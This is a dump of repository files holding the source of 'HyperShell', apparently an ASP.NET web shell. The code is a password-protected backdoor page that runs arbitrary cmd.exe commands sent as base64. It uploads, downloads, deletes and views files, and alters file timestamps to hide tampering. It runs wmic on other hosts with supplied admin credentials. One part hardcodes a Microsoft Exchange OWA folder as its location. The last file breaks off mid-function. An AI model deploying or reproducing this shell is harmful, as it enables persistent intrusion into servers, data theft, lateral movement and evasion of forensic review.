    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p2.txt",
    "content": "    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string fdlpath)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(fdlpath))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(fdlpath, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", fdlpath);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string fdlpath, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(fdlpath)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(fdlpath).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(fdlpath))));\r\n                response.WriteFile(fdlpath);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p21.txt",
    "content": "void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p22.txt",
    "content": "string getLoc(){return @\"C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\Current\\scripts\\premium\\\";}\r\n    void downloadTest(string fdlpath)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(fdlpath))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(fdlpath, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", fdlpath);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p23.txt",
    "content": "void download(string fdlpath, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(fdlpath)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(fdlpath).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(fdlpath))));\r\n                response.WriteFile(fdlpath);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p3.txt",
    "content": "    string exec(string cmd){string pro=\"\";System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p4.txt",
    "content": "    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Length==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            string[] diskTemp = new string[100];\r\n                            for (int i = 1; i <= 5; i++)\r\n                            {"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p5.txt",
    "content": "                                string f = string.Format(strWF, tmp, i);\r\n                                string[] lDisk = System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD, f));\r\n                                for (int j = 1; j < lDisk.Length; j++)\r\n                                {\r\n                                    if (i == 1) diskTemp[j - 1] = lDisk[j];\r\n                                    else diskTemp[j - 1] += \"|\" + lDisk[j];\r\n                                }\r\n                            }\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                if (!string.IsNullOrEmpty(item))\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n                                    long TotalSize = 0;\r\n                                    long TotalFreeSpace = 0;\r\n                                    long.TryParse(diskInfo[2], out TotalSize);\r\n                                    long.TryParse(diskInfo[3], out TotalFreeSpace);\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\", diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':') + \"$\", TotalSize, TotalFreeSpace, \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\", diskInfo[1], diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p6.txt",
    "content": "    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special1/HighShellServer.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"(FN3KGAh!FzN@DgixY4Lh3Hutm$OYR%Ono)47TWOZaak!QcpSZ!uEM#p1tthN6mc\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"r8EeoyCdkSJkcBHUvH3BzrzsSFfhcP/Ks7Su+asIoqU=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd,string 